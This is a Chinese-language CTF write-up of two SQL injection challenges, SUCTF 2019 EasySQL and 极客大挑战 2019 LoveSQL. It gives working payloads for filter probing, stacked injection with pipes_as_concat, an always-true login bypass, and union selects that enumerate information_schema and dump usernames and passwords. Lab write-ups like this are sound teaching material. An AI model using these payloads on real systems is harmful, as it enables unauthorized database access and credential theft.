目录
[[SUCTF 2019]EasySQL 1](#[SUCTF 2019]EasySQL 1)
[[极客大挑战 2019]LoveSQL 1](#[极客大挑战 2019]LoveSQL 1)
[SUCTF 2019]EasySQL 1
堆叠注入

输入字母,0无回显,输入数字有回显
输入1'无显示,输入1#有显示,输入1'#无显示
输入特殊字符,没有报错回显,可能被过滤,报错注入不行
引号可能被过滤,数字型注入尝试
输入关于sql的语句,or,union,sleep,回显Nonono,联合查询,时间盲注也不行
尝试if,and回显Nonono,布尔盲注也不行
1 and length(database())>=1#
堆叠注入
堆叠注入就是同时注入多条指令
展示数据库

展示表

查询Flag表的列
出错,from被过滤

查询有限
知识点:
来源文章:https://blog.csdn.net/qq_46918279/article/details/120188186
concat可以连接多个字符串如concat('id','name',','user')
用符号||代替or
concat();未被过滤
猜测内置语句
sql="select post['query'] || flag from Flag";
方法一:
设置Payload:
select *,1||flag from Flag
输入 *,1
支持||作为字符串连接的数据库(PostgreSQL/Oracle/SQLite)
这是语句的 "设计意图场景",比如:
- 若
Flag表有如下数据:
| id | flag |
|---|---|
| 1 | flag{test} |
| 2 | flag{123456} |
执行 select *,1||flag from Flag 后,结果会新增一列(默认别名如?column?),内容是1拼接flag值:
| id | flag | ?column? |
|---|---|---|
| 1 | flag{test} | 1flag{test} |
| 2 | flag{123456} | 1flag{123456} |
不支持||作为连接符的数据库(MySQL/SQL Server)
-
MySQL
:默认下
||是 "逻辑或"(不是连接符),直接执行该语句会报错 / 结果异常;等价的正确写法(用
CONCAT函数):select *,concat(1,flag) from Flag(若要让 MySQL 支持
||,需开启PIPES_AS_CONCAT模式,不推荐) -
SQL Server :用
+做字符串连接符,等价写法:select *,1+flag from Flag
语句作用
验证
flag列是否存在
若返回结果包含拼接后的列 → 证明
Flag表存在flag列;若报错 → 证明列 / 表不存在
提取
flag值(绕过过滤)
若直接查询
flag列被拦截(如 WAF 过滤select flag),拼接常量1后,语句变成select *,1||flag,可绕过简单的关键词过滤;即使无法直接看到
flag列,新增的计算列会暴露flag值(比如拼接后的1flag{xxx},去掉前缀1就是真实 flag)。
方法二:
payload:1;set sql_mode=pipes_as_concat;select 1
#使用set sql_mode = pipes_as_concat将||作为字符串连接函数
那么sql语句就会为:
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag;
即:
select 1;set sql_mode=pipes_as_concat;select concat(1,flag) from Flag;
意思为:
输出1;将||作为concat使用;将输出结果中的1和flag字段连接起来;
详情见:https://blog.csdn.net/qq_46918279/article/details/120188186
[极客大挑战 2019]LoveSQL 1
sql注入
先测试
1
1'
1' or '1' = '1#
1' or 1=1#
得到万能密码成功
1' or 1=1#

试一下md5解密,失败
联合查询测试列
1' order by 3#不报错
1' order by 4#报错
则表有三列
尝试注入,查看回显
1' union select 1,2,3#

查看库名1' union select 1,database(),3#

查看表,两张表
MySQL 中「字符串常量必须加引号」,不加引号会被识别为「列名」
table_schema 是 information_schema.tables 中的列,存储的是数据库名(字符串类型)
无引号的标识符会被优先解析为列名 / 表名等数据库对象,而非字符串
group_concat() 是 MySQL聚合函数,作用是「多行转单行拼接」
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"#

查列
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="geekuser"#

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"#

查看内容
1' union select 1,2,group_concat(id,username,password) from geekuser#

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

f12找到flag